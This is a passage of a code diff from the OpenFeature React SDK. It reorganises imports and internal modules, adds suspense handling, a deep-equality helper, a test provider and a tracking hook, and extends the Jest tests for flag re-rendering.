const updatedEvaluationDetails = resolver(client).call(client, flagKey, defaultValue, options);
/**
* Avoid re-rendering if the value hasn't changed. We could expose a means
* to define a custom comparison function if users require a more
* sophisticated comparison in the future.
*/
if (!isEqual(updatedEvaluationDetails.value, evaluationDetailsRef.current.value)) {
setEvaluationDetails(updatedEvaluationDetails);
}
}, [client, flagKey, defaultValue, options, resolver]);
const configurationChangeCallback = useCallback<EventHandler<ClientProviderEvents.ConfigurationChanged>>(
(eventDetails) => {
if (shouldEvaluateFlag(flagKey, eventDetails?.flagsChanged)) {
updateEvaluationDetailsCallback();
}
},
[flagKey, updateEvaluationDetailsCallback],
);
useEffect(() => {
const controller = new AbortController();
if (status === ProviderStatus.NOT_READY) {
// update when the provider is ready
client.addHandler(ProviderEvents.Ready, updateEvaluationDetailsRef);
client.addHandler(ProviderEvents.Ready, updateEvaluationDetailsCallback, { signal: controller.signal });
}
if (defaultedOptions.updateOnContextChanged) {
// update when the context changes
client.addHandler(ProviderEvents.ContextChanged, updateEvaluationDetailsRef);
client.addHandler(ProviderEvents.ContextChanged, updateEvaluationDetailsCallback, { signal: controller.signal });
}
return () => {
// cleanup the handlers
client.removeHandler(ProviderEvents.Ready, updateEvaluationDetailsRef);
client.removeHandler(ProviderEvents.ContextChanged, updateEvaluationDetailsRef);
};
}, []);
useEffect(() => {
if (defaultedOptions.updateOnConfigurationChanged) {
// update when the provider configuration changes
client.addHandler(ProviderEvents.ConfigurationChanged, updateEvaluationDetailsRef);
client.addHandler(ProviderEvents.ConfigurationChanged, configurationChangeCallback, {
signal: controller.signal,
});
}
return () => {
// cleanup the handlers
client.removeHandler(ProviderEvents.ConfigurationChanged, updateEvaluationDetailsRef);
controller.abort();
};
}, []);
}, [
client,
status,
defaultedOptions.updateOnContextChanged,
defaultedOptions.updateOnConfigurationChanged,
updateEvaluationDetailsCallback,
configurationChangeCallback,
]);
return evalutationDetails;
return evaluationDetails;
}

View File

@ -1,5 +1,8 @@
export * from './evaluation';
export * from './query';
export * from './provider';
export * from './context';
export * from './tracking';
export * from './options';
// re-export the web-sdk so consumers can access that API from the react-sdk
export * from '@openfeature/web-sdk';

View File

@ -1,17 +1,22 @@
import { Client } from '@openfeature/web-sdk';
import type { Client } from '@openfeature/web-sdk';
import React from 'react';
import { NormalizedOptions, ReactFlagEvaluationOptions, normalizeOptions } from '../common/options';
import type { NormalizedOptions, ReactFlagEvaluationOptions } from '../options';
import { normalizeOptions } from '.';
/**
* The underlying React context.
* DO NOT EXPORT PUBLICLY
*
* **DO NOT EXPORT PUBLICLY**
* @internal
*/
export const Context = React.createContext<{ client: Client; options: ReactFlagEvaluationOptions } | undefined>(undefined);
export const Context = React.createContext<
{ client: Client; domain?: string; options: ReactFlagEvaluationOptions } | undefined
>(undefined);
/**
* Get a normalized copy of the options used for this OpenFeatureProvider, see {@link normalizeOptions}.
* DO NOT EXPORT PUBLICLY
*
* **DO NOT EXPORT PUBLICLY**
* @internal
* @returns {NormalizedOptions} normalized options the defaulted options, not defaulted or normalized.
*/

View File

@ -0,0 +1,9 @@
const context = 'Components using OpenFeature must be wrapped with an <OpenFeatureProvider>.';
const tip = 'If you are seeing this in a test, see: https://openfeature.dev/docs/reference/technologies/client/web/react#testing';
export class MissingContextError extends Error {
constructor(reason: string) {
super(`${reason}: ${context} ${tip}`);
this.name = 'MissingContextError';
}
}

View File

@ -1,9 +1,10 @@
import {
import type {
EvaluationDetails,
FlagValue,
FlagValue} from '@openfeature/web-sdk';
import {
StandardResolutionReasons
} from '@openfeature/web-sdk';
import { FlagQuery } from '../query';
import type { FlagQuery } from '../query';
// FlagQuery implementation, do not export

View File

@ -0,0 +1,4 @@
export * from './context';
export * from './is-equal';
export * from './options';
export * from './suspense';

View File

@ -0,0 +1,38 @@
import { type FlagValue } from '@openfeature/web-sdk';
/**
* Deeply compare two values to determine if they are equal.
* Supports primitives and serializable objects.
* @param {FlagValue} value First value to compare
* @param {FlagValue} other Second value to compare
* @returns {boolean} True if the values are equal
*/
export function isEqual(value: FlagValue, other: FlagValue): boolean {
if (value === other) {
return true;
}
if (typeof value !== typeof other) {
return false;
}
if (typeof value === 'object' && value !== null && other !== null) {
const valueKeys = Object.keys(value);
const otherKeys = Object.keys(other);
if (valueKeys.length !== otherKeys.length) {
return false;
}
for (const key of valueKeys) {
// eslint-disable-next-line @typescript-eslint/no-explicit-any
if (!isEqual((value as any)[key], (other as any)[key])) {
return false;
}
}
return true;
}
return false;
}

View File

@ -0,0 +1,40 @@
import type { ReactFlagEvaluationOptions, NormalizedOptions } from '../options';
/**
* Default options.
* DO NOT EXPORT PUBLICLY
* @internal
*/
export const DEFAULT_OPTIONS: ReactFlagEvaluationOptions = {
updateOnContextChanged: true,
updateOnConfigurationChanged: true,
suspendUntilReady: false,
suspendWhileReconciling: false,
};
/**
* Returns normalization options (all `undefined` fields removed, and `suspend` decomposed to `suspendUntilReady` and `suspendWhileReconciling`).
* DO NOT EXPORT PUBLICLY
* @internal
* @param {ReactFlagEvaluationOptions} options options to normalize
* @returns {NormalizedOptions} normalized options
*/
export const normalizeOptions: (options?: ReactFlagEvaluationOptions) => NormalizedOptions = (
options: ReactFlagEvaluationOptions = {},
) => {
const updateOnContextChanged = options.updateOnContextChanged;
const updateOnConfigurationChanged = options.updateOnConfigurationChanged;
// fall-back the suspense options to the catch-all `suspend` property
const suspendUntilReady = 'suspendUntilReady' in options ? options.suspendUntilReady : options.suspend;
const suspendWhileReconciling =
'suspendWhileReconciling' in options ? options.suspendWhileReconciling : options.suspend;
return {
// only return these if properly set (no undefined to allow overriding with spread)
...(typeof suspendUntilReady === 'boolean' && { suspendUntilReady }),
...(typeof suspendWhileReconciling === 'boolean' && { suspendWhileReconciling }),
...(typeof updateOnContextChanged === 'boolean' && { updateOnContextChanged }),
...(typeof updateOnConfigurationChanged === 'boolean' && { updateOnConfigurationChanged }),
};
};

View File

@ -0,0 +1,56 @@
import type { Client, Provider } from '@openfeature/web-sdk';
import { NOOP_PROVIDER, ProviderEvents } from '@openfeature/web-sdk';
import { use } from './use';
/**
* A weak map is used to store the global suspense status for each provider. It's
* important for this to be global to avoid rerender loops. Using useRef won't
* work because the value isn't preserved when a promise is thrown in a component,
* which is how suspense operates.
*/
const globalProviderSuspenseStatus = new WeakMap<Provider, Promise<unknown>>();
/**
* Suspends until the client is ready to evaluate feature flags.
*
* **DO NOT EXPORT PUBLICLY**
* @internal
* @param {Provider} provider the provider to suspend for
* @param {Client} client the client to check for readiness
*/
export function suspendUntilInitialized(provider: Provider, client: Client) {
const statusPromiseRef = globalProviderSuspenseStatus.get(provider);
if (!statusPromiseRef) {
// Noop provider is never ready, so we resolve immediately
const statusPromise = provider !== NOOP_PROVIDER ? isProviderReady(client) : Promise.resolve();
globalProviderSuspenseStatus.set(provider, statusPromise);
// Use will throw the promise and React will trigger a rerender when it's resolved
use(statusPromise);
} else {
// Reuse the existing promise, use won't rethrow if the promise has settled.
use(statusPromiseRef);
}
}
/**
* Suspends until the provider has finished reconciling.
*
* **DO NOT EXPORT PUBLICLY**
* @internal
* @param {Client} client the client to check for readiness
*/
export function suspendUntilReconciled(client: Client) {
use(isProviderReady(client));
}
async function isProviderReady(client: Client) {
const controller = new AbortController();
try {
return await new Promise((resolve, reject) => {
client.addHandler(ProviderEvents.Ready, resolve, { signal: controller.signal });
client.addHandler(ProviderEvents.Error, reject, { signal: controller.signal });
});
} finally {
controller.abort();
}
}

View File

@ -0,0 +1,53 @@
/// <reference types="react/experimental" />
// This function is adopted from https://github.com/vercel/swr
import React from 'react';
/**
* Extends a Promise-like value to include status tracking.
* The extra properties are used to manage the lifecycle of the Promise, indicating its current state.
* More information can be found in the React RFE for the use hook.
* @see https://github.com/reactjs/rfcs/pull/229
*/
export type UsePromise<T> =
Promise<T> & {
status?: 'pending' | 'fulfilled' | 'rejected';
value?: T;
reason?: unknown;
};
/**
* React.use is a React API that lets you read the value of a resource like a Promise or context.
* It was officially added in React 19, so needs to be polyfilled to support older React versions.
* @param {UsePromise} thenable A thenable object that represents a Promise-like value.
* @returns {unknown} The resolved value of the thenable or throws if it's still pending or rejected.
*/
export const use =
React.use ||
// This extra generic is to avoid TypeScript mixing up the generic and JSX syntax
// and emitting an error.
// We assume that this is only for the `use(thenable)` case, not `use(context)`.
// https://github.com/facebook/react/blob/aed00dacfb79d17c53218404c52b1c7aa59c4a89/packages/react-server/src/ReactFizzThenable.js#L45
// eslint-disable-next-line @typescript-eslint/no-unused-vars
(<T, _>(thenable: UsePromise<T>): T => {
switch (thenable.status) {
case 'pending':
throw thenable;
case 'fulfilled':
return thenable.value as T;
case 'rejected':
throw thenable.reason;
default:
thenable.status = 'pending';
thenable.then(
(v) => {
thenable.status = 'fulfilled';
thenable.value = v;
},
(e) => {
thenable.status = 'rejected';
thenable.reason = e;
},
);
throw thenable;
}
});

View File

@ -0,0 +1,53 @@
import type { FlagEvaluationOptions } from '@openfeature/web-sdk';
export type ReactFlagEvaluationOptions = (
| {
/**
* Enable or disable all suspense functionality.
* Cannot be used in conjunction with `suspendUntilReady` and `suspendWhileReconciling` options.
* @experimental Suspense is an experimental feature subject to change in future versions.
*/
suspend?: boolean;
suspendUntilReady?: never;
suspendWhileReconciling?: never;
}
| {
/**
* Suspend flag evaluations while the provider is not ready.
* Set to false if you don't want to show suspense fallbacks until the provider is initialized.
* Defaults to false.
* Cannot be used in conjunction with `suspend` option.
* @experimental Suspense is an experimental feature subject to change in future versions.
*/
suspendUntilReady?: boolean;
/**
* Suspend flag evaluations while the provider's context is being reconciled.
* Set to true if you want to show suspense fallbacks while flags are re-evaluated after context changes.
* Defaults to false.
* Cannot be used in conjunction with `suspend` option.
* @experimental Suspense is an experimental feature subject to change in future versions.
*/
suspendWhileReconciling?: boolean;
suspend?: never;
}
) & {
/**
* Update the component if the provider emits a ConfigurationChanged event.
* Set to false to prevent components from re-rendering when flag value changes
* are received by the associated provider.
* Defaults to true.
*/
updateOnConfigurationChanged?: boolean;
/**
* Update the component when the OpenFeature context changes.
* Set to false to prevent components from re-rendering when attributes which
* may be factors in flag evaluation change.
* Defaults to true.
*/
updateOnContextChanged?: boolean;
} & FlagEvaluationOptions;
// suspense options removed for the useSuspenseFlag hooks
export type ReactFlagEvaluationNoSuspenseOptions = Omit<ReactFlagEvaluationOptions, 'suspend' | 'suspendUntilReady' | 'suspendWhileReconciling'>;
export type NormalizedOptions = Omit<ReactFlagEvaluationOptions, 'suspend'>;

View File

@ -1,3 +1,5 @@
export * from './provider';
export * from './use-open-feature-client';
export * from './use-when-provider-ready';
export * from './use-open-feature-client-status';
export * from './test-provider';

View File

@ -1,7 +1,8 @@
import { Client, OpenFeature } from '@openfeature/web-sdk';
import type { Client} from '@openfeature/web-sdk';
import { OpenFeature } from '@openfeature/web-sdk';
import * as React from 'react';
import { ReactFlagEvaluationOptions } from '../common/options';
import { Context } from './context';
import type { ReactFlagEvaluationOptions } from '../options';
import { Context } from '../internal';
type ClientOrDomain =
| {
@ -30,10 +31,10 @@ type ProviderProps = {
* @param {ProviderProps} properties props for the context provider
* @returns {OpenFeatureProvider} context provider
*/
export function OpenFeatureProvider({ client, domain, children, ...options }: ProviderProps) {
export function OpenFeatureProvider({ client, domain, children, ...options }: ProviderProps): JSX.Element {
if (!client) {
client = OpenFeature.getClient(domain);
}
return <Context.Provider value={{ client, options }}>{children}</Context.Provider>;
return <Context.Provider value={{ client, options, domain }}>{children}</Context.Provider>;
}

View File

@ -0,0 +1,122 @@
import type {
JsonValue,
Provider} from '@openfeature/web-sdk';
import {
InMemoryProvider,
NOOP_PROVIDER,
OpenFeature
} from '@openfeature/web-sdk';
import React from 'react';
import type { NormalizedOptions } from '../options';
import { OpenFeatureProvider } from './provider';
type FlagValueMap = { [flagKey: string]: JsonValue };
type FlagConfig = ConstructorParameters<typeof InMemoryProvider>[0];
type TestProviderProps = Omit<React.ComponentProps<typeof OpenFeatureProvider>, 'client'> &
(
| {
provider?: never;
/**
* Optional map of flagKeys to flagValues for this OpenFeatureTestProvider context.
* If not supplied, all flag evaluations will default.
*/
flagValueMap?: FlagValueMap;
/**
* Optional delay for the underlying test provider's readiness and reconciliation.
* Defaults to 0.
*/
delayMs?: number;
}
| {
/**
* An optional partial provider to pass for full control over the flag resolution for this OpenFeatureTestProvider context.
* Any un-implemented methods or properties will no-op.
*/
provider?: Partial<Provider>;
flagValueMap?: never;
delayMs?: never;
}
);
const TEST_VARIANT = 'test-variant';
const TEST_PROVIDER = 'test-provider';
// internal provider which is basically the in-memory provider with a simpler config and some optional fake delays
class TestProvider extends InMemoryProvider {
// initially make this undefined, we still set it if a delay is specified
// eslint-disable-next-line @typescript-eslint/ban-ts-comment
// @ts-ignore - For maximum compatibility with previous versions, we ignore a possible TS error here,
// since "initialize" was previously defined in superclass.
// We can safely remove this ts-ignore in a few versions
initialize: Provider['initialize'] = undefined;
// "place-holder" init function which we only assign if want a delay
private delayedInitialize = async () => {
await new Promise<void>((resolve) => setTimeout(resolve, this.delay));
};
constructor(
flagValueMap: FlagValueMap,
private delay = 0,
) {
// convert the simple flagValueMap into an in-memory config
const flagConfig = Object.entries(flagValueMap).reduce((acc: FlagConfig, flag): FlagConfig => {
return {
...acc,
[flag[0]]: {
variants: {
[TEST_VARIANT]: flag[1],
},
defaultVariant: TEST_VARIANT,
disabled: false,
},
};
}, {});
super(flagConfig);
// only define and init if there's a non-zero delay specified
this.initialize = this.delay ? this.delayedInitialize.bind(this) : undefined;
}
async onContextChange() {
return new Promise<void>((resolve) => setTimeout(resolve, this.delay));
}
}
/**
* A React Context provider based on the {@link InMemoryProvider}, specifically built for testing.
* Use this for testing components that use flag evaluation hooks.
* @param {TestProviderProps} testProviderOptions options for the OpenFeatureTestProvider
* @returns {OpenFeatureProvider} OpenFeatureTestProvider
*/
export function OpenFeatureTestProvider(testProviderOptions: TestProviderProps) {
const { flagValueMap, provider } = testProviderOptions;
const effectiveProvider = (
flagValueMap ? new TestProvider(flagValueMap, testProviderOptions.delayMs) : mixInNoop(provider) || NOOP_PROVIDER
) as Provider;
testProviderOptions.domain
? OpenFeature.setProvider(testProviderOptions.domain, effectiveProvider)
: OpenFeature.setProvider(effectiveProvider);
return (
<OpenFeatureProvider {...(testProviderOptions as NormalizedOptions)} domain={testProviderOptions.domain}>
{testProviderOptions.children}
</OpenFeatureProvider>
);
}
// mix in the no-op provider when the partial is passed
function mixInNoop(provider: Partial<Provider> = {}) {
// fill in any missing methods with no-ops
for (const prop of Object.getOwnPropertyNames(Object.getPrototypeOf(NOOP_PROVIDER)).filter(prop => prop !== 'constructor')) {
const patchedProvider = provider as {[key: string]: keyof Provider};
if (!Object.getPrototypeOf(patchedProvider)[prop] && !patchedProvider[prop]) {
patchedProvider[prop] = Object.getPrototypeOf(NOOP_PROVIDER)[prop];
}
}
// fill in the metadata if missing
if (!provider.metadata || !provider.metadata.name) {
(provider.metadata as unknown) = { name: TEST_PROVIDER };
}
return provider;
}

View File

@ -1,6 +1,7 @@
import { useEffect, useState } from 'react';
import { useOpenFeatureClient } from './use-open-feature-client';
import { ProviderEvents, ProviderStatus } from '@openfeature/web-sdk';
import type { ProviderStatus } from '@openfeature/web-sdk';
import { ProviderEvents } from '@openfeature/web-sdk';
/**
* Get the {@link ProviderStatus} for the OpenFeatureClient.
@ -8,23 +9,19 @@ import { ProviderEvents, ProviderStatus } from '@openfeature/web-sdk';
*/
export function useOpenFeatureClientStatus(): ProviderStatus {
const client = useOpenFeatureClient();
const [status, setStatus] = useState(client.providerStatus);
const [status, setStatus] = useState<ProviderStatus>(client.providerStatus);
const controller = new AbortController();
useEffect(() => {
const updateStatus = () => setStatus(client.providerStatus);
client.addHandler(ProviderEvents.ConfigurationChanged, updateStatus);
client.addHandler(ProviderEvents.ContextChanged, updateStatus);
client.addHandler(ProviderEvents.Error, updateStatus);
client.addHandler(ProviderEvents.Ready, updateStatus);
client.addHandler(ProviderEvents.Stale, updateStatus);
client.addHandler(ProviderEvents.Reconciling, updateStatus);
client.addHandler(ProviderEvents.ConfigurationChanged, updateStatus, { signal: controller.signal });
client.addHandler(ProviderEvents.ContextChanged, updateStatus, { signal: controller.signal });
client.addHandler(ProviderEvents.Error, updateStatus, { signal: controller.signal });
client.addHandler(ProviderEvents.Ready, updateStatus, { signal: controller.signal });
client.addHandler(ProviderEvents.Stale, updateStatus, { signal: controller.signal });
client.addHandler(ProviderEvents.Reconciling, updateStatus, { signal: controller.signal });
return () => {
client.removeHandler(ProviderEvents.ConfigurationChanged, updateStatus);
client.removeHandler(ProviderEvents.ContextChanged, updateStatus);
client.removeHandler(ProviderEvents.Error, updateStatus);
client.removeHandler(ProviderEvents.Ready, updateStatus);
client.removeHandler(ProviderEvents.Stale, updateStatus);
client.removeHandler(ProviderEvents.Reconciling, updateStatus);
controller.abort();
};
}, [client]);

View File

@ -1,6 +1,7 @@
import React from 'react';
import { Context } from './context';
import { Client } from '@openfeature/web-sdk';
import { Context } from '../internal';
import { type Client } from '@openfeature/web-sdk';
import { MissingContextError } from '../internal/errors';
/**
* Get the {@link Client} instance for this OpenFeatureProvider context.
@ -11,9 +12,7 @@ export function useOpenFeatureClient(): Client {
const { client } = React.useContext(Context) || {};
if (!client) {
throw new Error(
'No OpenFeature client available - components using OpenFeature must be wrapped with an <OpenFeatureProvider>',
);
throw new MissingContextError('No OpenFeature client available');
}
return client;

View File

@ -0,0 +1,21 @@
import React from 'react';
import { Context } from '../internal';
import { OpenFeature } from '@openfeature/web-sdk';
import type { Provider } from '@openfeature/web-sdk';
import { MissingContextError } from '../internal/errors';
/**
* Get the {@link Provider} bound to the domain specified in the OpenFeatureProvider context.
* Note that it isn't recommended to interact with the provider directly, but rather through
* an OpenFeature client.
* @returns {Provider} provider for this scope
*/
export function useOpenFeatureProvider(): Provider {
const openFeatureContext = React.useContext(Context);
if (!openFeatureContext) {
throw new MissingContextError('No OpenFeature context available');
}
return OpenFeature.getProvider(openFeatureContext.domain);
}

View File

@ -1,9 +1,9 @@
import { ProviderStatus } from '@openfeature/web-sdk';
import { DEFAULT_OPTIONS, ReactFlagEvaluationOptions, normalizeOptions } from '../common/options';
import { useProviderOptions } from './context';
import { useOpenFeatureClient } from './use-open-feature-client';
import { useOpenFeatureClientStatus } from './use-open-feature-client-status';
import { suspendUntilReady } from '../common/suspense';
import type { ReactFlagEvaluationOptions } from '../options';
import { DEFAULT_OPTIONS, useProviderOptions, normalizeOptions, suspendUntilInitialized } from '../internal';
import { useOpenFeatureProvider } from './use-open-feature-provider';
type Options = Pick<ReactFlagEvaluationOptions, 'suspendUntilReady'>;
@ -15,14 +15,14 @@ type Options = Pick<ReactFlagEvaluationOptions, 'suspendUntilReady'>;
* @returns {boolean} boolean indicating if provider is {@link ProviderStatus.READY}, useful if suspense is disabled and you want to handle loaders on your own
*/
export function useWhenProviderReady(options?: Options): boolean {
const client = useOpenFeatureClient();
const status = useOpenFeatureClientStatus();
// highest priority > evaluation hook options > provider options > default options > lowest priority
const defaultedOptions = { ...DEFAULT_OPTIONS, ...useProviderOptions(), ...normalizeOptions(options) };
const client = useOpenFeatureClient();
const status = useOpenFeatureClientStatus();
const provider = useOpenFeatureProvider();
// suspense
if (defaultedOptions.suspendUntilReady && status === ProviderStatus.NOT_READY) {
suspendUntilReady(client);
suspendUntilInitialized(provider, client);
}
return status === ProviderStatus.READY;

View File

@ -1,4 +1,4 @@
import { ErrorCode, EvaluationDetails, FlagMetadata, FlagValue, StandardResolutionReasons } from '@openfeature/core';
import type { ErrorCode, EvaluationDetails, FlagMetadata, FlagValue, StandardResolutionReasons } from '@openfeature/core';
export interface FlagQuery<T extends FlagValue = FlagValue> {
/**

View File

@ -0,0 +1 @@
export * from './use-track';

View File

@ -0,0 +1,29 @@
import type { Tracking, TrackingEventDetails } from '@openfeature/web-sdk';
import { useCallback } from 'react';
import { useOpenFeatureClient } from '../provider';
export type Track = {
/**
* Context-aware tracking function for the parent `<OpenFeatureProvider/>`.
* Track a user action or application state, usually representing a business objective or outcome.
* @param trackingEventName an identifier for the event
* @param trackingEventDetails the details of the tracking event
*/
track: Tracking['track'];
};
/**
* Get a context-aware tracking function.
* @returns {Track} context-aware tracking
*/
export function useTrack(): Track {
const client = useOpenFeatureClient();
const track = useCallback((trackingEventName: string, trackingEventDetails?: TrackingEventDetails) => {
client.track(trackingEventName, trackingEventDetails);
}, []);
return {
track,
};
}

View File

@ -1,17 +1,18 @@
import {
EvaluationContext,
Hook,
InMemoryProvider,
OpenFeature,
StandardResolutionReasons,
EvaluationDetails,
ErrorCode,
} from '@openfeature/web-sdk';
import { jest } from '@jest/globals';
import type { ProviderEmittableEvents } from '@openfeature/web-sdk';
import { ClientProviderEvents } from '@openfeature/web-sdk';
import type { FlagConfiguration } from '@openfeature/web-sdk/src/provider/in-memory-provider/flag-configuration';
import '@testing-library/jest-dom'; // see: https://testing-library.com/docs/react-testing-library/setup
import { act, render, renderHook, screen, waitFor } from '@testing-library/react';
import * as React from 'react';
import { startTransition, useState } from 'react';
import type { EvaluationContext, EvaluationDetails, EventContext, Hook } from '../src/';
import {
ErrorCode,
InMemoryProvider,
OpenFeature,
OpenFeatureProvider,
StandardResolutionReasons,
useBooleanFlagDetails,
useBooleanFlagValue,
useFlag,
@ -23,13 +24,26 @@ import {
useStringFlagValue,
useSuspenseFlag,
} from '../src/';
import { HookFlagQuery } from '../src/internal/hook-flag-query';
import { TestingProvider } from './test.utils';
import { HookFlagQuery } from '../src/evaluation/hook-flag-query';
import { startTransition, useState } from 'react';
// custom provider to have better control over the emitted events
class CustomEventInMemoryProvider extends InMemoryProvider {
putConfigurationWithCustomEvent(
flagConfiguration: FlagConfiguration,
event: ProviderEmittableEvents,
eventContext: EventContext,
) {
// eslint-disable-next-line @typescript-eslint/no-explicit-any
this['_flagConfiguration'] = { ...flagConfiguration }; // private access hack
this.events.emit(event, eventContext);
}
}
describe('evaluation', () => {
const EVALUATION = 'evaluation';
const BOOL_FLAG_KEY = 'boolean-flag';
const CONTEXT_BOOL_FLAG_KEY = 'context-sensitive-flag';
const BOOL_FLAG_VARIANT = 'on';
const BOOL_FLAG_VALUE = true;
const STRING_FLAG_KEY = 'string-flag';
@ -46,42 +60,54 @@ describe('evaluation', () => {
const REASON_ATTR_VALUE = StandardResolutionReasons.STATIC;
const TYPE_ATTR = 'data-type';
const BUTTON_TEXT = 'button';
const FLAG_CONFIG: ConstructorParameters<typeof InMemoryProvider>[0] = {
[BOOL_FLAG_KEY]: {
disabled: false,
variants: {
[BOOL_FLAG_VARIANT]: BOOL_FLAG_VALUE,
off: false,
},
defaultVariant: BOOL_FLAG_VARIANT,
},
[STRING_FLAG_KEY]: {
disabled: false,
variants: {
[STRING_FLAG_VARIANT]: STRING_FLAG_VALUE,
parting: 'bye',
},
defaultVariant: STRING_FLAG_VARIANT,
},
[NUMBER_FLAG_KEY]: {
disabled: false,
variants: {
[NUMBER_FLAG_VARIANT]: NUMBER_FLAG_VALUE,
'2^1': 2,
},
defaultVariant: NUMBER_FLAG_VARIANT,
},
[OBJECT_FLAG_KEY]: {
disabled: false,
variants: {
[OBJECT_FLAG_VARIANT]: OBJECT_FLAG_VALUE,
empty: {},
},
defaultVariant: OBJECT_FLAG_VARIANT,
},
[CONTEXT_BOOL_FLAG_KEY]: {
disabled: false,
defaultVariant: 'off',
variants: {
off: false,
on: true,
},
contextEvaluator(ctx) {
return ctx.change ? 'on' : 'off';
},
},
};
const makeProvider = () => {
return new InMemoryProvider({
[BOOL_FLAG_KEY]: {
disabled: false,
variants: {
[BOOL_FLAG_VARIANT]: BOOL_FLAG_VALUE,
off: false,
},
defaultVariant: BOOL_FLAG_VARIANT,
},
[STRING_FLAG_KEY]: {
disabled: false,
variants: {
[STRING_FLAG_VARIANT]: STRING_FLAG_VALUE,
parting: 'bye',
},
defaultVariant: STRING_FLAG_VARIANT,
},
[NUMBER_FLAG_KEY]: {
disabled: false,
variants: {
[NUMBER_FLAG_VARIANT]: NUMBER_FLAG_VALUE,
'2^1': 2,
},
defaultVariant: NUMBER_FLAG_VARIANT,
},
[OBJECT_FLAG_KEY]: {
disabled: false,
variants: {
[OBJECT_FLAG_VARIANT]: OBJECT_FLAG_VALUE,
empty: {},
},
defaultVariant: OBJECT_FLAG_VARIANT,
},
});
return new InMemoryProvider(FLAG_CONFIG);
};
OpenFeature.setProvider(EVALUATION, makeProvider());
@ -246,9 +272,276 @@ describe('evaluation', () => {
expect(objectElement).toHaveAttribute(REASON_ATTR, REASON_ATTR_VALUE);
});
});
describe('re-render', () => {
const RERENDER_DOMAIN = 'rerender';
const rerenderProvider = new CustomEventInMemoryProvider(FLAG_CONFIG);
function TestComponentFactory() {
let renderCount = 0;
return function TestComponent() {
const {
value: booleanVal,
reason: boolReason,
variant: boolVariant,
type: booleanType,
} = useFlag(BOOL_FLAG_KEY, false);
const {
value: contextBooleanVal,
reason: contextBoolReason,
variant: contextBoolVariant,
type: contextBooleanType,
} = useFlag('context-sensitive-flag', false);
const {
value: stringVal,
reason: stringReason,
variant: stringVariant,
type: stringType,
} = useFlag(STRING_FLAG_KEY, 'default');
const {
value: numberVal,
reason: numberReason,
variant: numberVariant,
type: numberType,
} = useFlag(NUMBER_FLAG_KEY, 0);
const {
value: objectVal,
reason: objectReason,
variant: objectVariant,
type: objectType,
} = useFlag(OBJECT_FLAG_KEY, {});
renderCount++;
return (
<>
<div data-testid="render-count">{renderCount}</div>
<div data-type={booleanType} data-variant={boolVariant} data-reason={boolReason}>{`${booleanVal}`}</div>
<div
data-type={contextBooleanType}
data-variant={contextBoolVariant}
data-reason={contextBoolReason}
>{`${contextBooleanVal}`}</div>
<div data-type={stringType} data-variant={stringVariant} data-reason={stringReason}>
{stringVal}
</div>
<div data-type={numberType} data-variant={numberVariant} data-reason={numberReason}>{`${numberVal}`}</div>
<div data-type={objectType} data-variant={objectVariant} data-reason={objectReason}>
{JSON.stringify(objectVal)}
</div>
</>
);
};
}
OpenFeature.setProvider(RERENDER_DOMAIN, rerenderProvider);
beforeEach(async () => {
await rerenderProvider.putConfiguration(FLAG_CONFIG);
await OpenFeature.setContext(RERENDER_DOMAIN, {});
});
afterEach(() => {
jest.clearAllMocks();
});
it('should not rerender on context change because the evaluated values did not change', async () => {
const TestComponent = TestComponentFactory();
render(
<OpenFeatureProvider domain={RERENDER_DOMAIN}>
<TestComponent></TestComponent>
</OpenFeatureProvider>,
);
expect(screen.queryByTestId('render-count')).toHaveTextContent('1');
await act(async () => {
await OpenFeature.setContext(RERENDER_DOMAIN, {});
});
expect(screen.queryByTestId('render-count')).toHaveTextContent('1');
});
it('should rerender on context change because the evaluated values changed', async () => {
const TestComponent = TestComponentFactory();
render(
<OpenFeatureProvider domain={RERENDER_DOMAIN}>
<TestComponent></TestComponent>
</OpenFeatureProvider>,
);
expect(screen.queryByTestId('render-count')).toHaveTextContent('1');
await act(async () => {
await OpenFeature.setContext(RERENDER_DOMAIN, { change: true });
});
expect(screen.queryByTestId('render-count')).toHaveTextContent('2');
});
it('should not render on flag change when the provider change event has empty flagsChanged', async () => {
const TestComponent = TestComponentFactory();
render(
<OpenFeatureProvider domain={RERENDER_DOMAIN}>
<TestComponent></TestComponent>
</OpenFeatureProvider>,
);
expect(screen.queryByTestId('render-count')).toHaveTextContent('1');
await act(async () => {
await rerenderProvider.putConfigurationWithCustomEvent(
{
...FLAG_CONFIG,
[BOOL_FLAG_KEY]: {
...FLAG_CONFIG[BOOL_FLAG_KEY],
// Change the default; this should be ignored and not cause a re-render because flagsChanged is empty
defaultVariant: 'off',
},
// if the flagsChanged is empty, we know nothing has changed, so we don't bother diffing
},
ClientProviderEvents.ConfigurationChanged,
{ flagsChanged: [] },
);
});
expect(screen.queryByTestId('render-count')).toHaveTextContent('1');
});
it('should re-render on flag change because the provider change event has falsy flagsChanged', async () => {
const TestComponent = TestComponentFactory();
render(
<OpenFeatureProvider domain={RERENDER_DOMAIN}>
<TestComponent></TestComponent>
</OpenFeatureProvider>,
);
expect(screen.queryByTestId('render-count')).toHaveTextContent('1');
await act(async () => {
await rerenderProvider.putConfigurationWithCustomEvent(
{
...FLAG_CONFIG,
[BOOL_FLAG_KEY]: {
...FLAG_CONFIG[BOOL_FLAG_KEY],
// Change the default variant to trigger a rerender since not only do we check flagsChanged, but we also diff the value
defaultVariant: 'off',
},
// if the flagsChanged is falsy, we don't know what flags changed - so we attempt to diff everything
},
ClientProviderEvents.ConfigurationChanged,
{ flagsChanged: undefined },
);
});
expect(screen.queryByTestId('render-count')).toHaveTextContent('2');
});
it('should not rerender on flag change because the evaluated values did not change', async () => {
const TestComponent = TestComponentFactory();
render(
<OpenFeatureProvider domain={RERENDER_DOMAIN}>
<TestComponent></TestComponent>
</OpenFeatureProvider>,
);
expect(screen.queryByTestId('render-count')).toHaveTextContent('1');
await act(async () => {
await rerenderProvider.putConfiguration({
...FLAG_CONFIG,
'new-flag': {
disabled: false,
defaultVariant: 'off',
variants: {
off: false,
on: true,
},
},
});
});
expect(screen.queryByTestId('render-count')).toHaveTextContent('1');
});
it('should not rerender on flag change because the config values did not change', async () => {
const TestComponent = TestComponentFactory();
const resolverSpy = jest.spyOn(rerenderProvider, 'resolveBooleanEvaluation');
render(
<OpenFeatureProvider domain={RERENDER_DOMAIN}>
<TestComponent></TestComponent>
</OpenFeatureProvider>,
);
expect(screen.queryByTestId('render-count')).toHaveTextContent('1');
await act(async () => {
await rerenderProvider.putConfiguration({
...FLAG_CONFIG,
});
});
expect(screen.queryByTestId('render-count')).toHaveTextContent('1');
// The resolver should not be called again because the flag config did not change
expect(resolverSpy).toHaveBeenNthCalledWith(
1,
BOOL_FLAG_KEY,
expect.anything(),
expect.anything(),
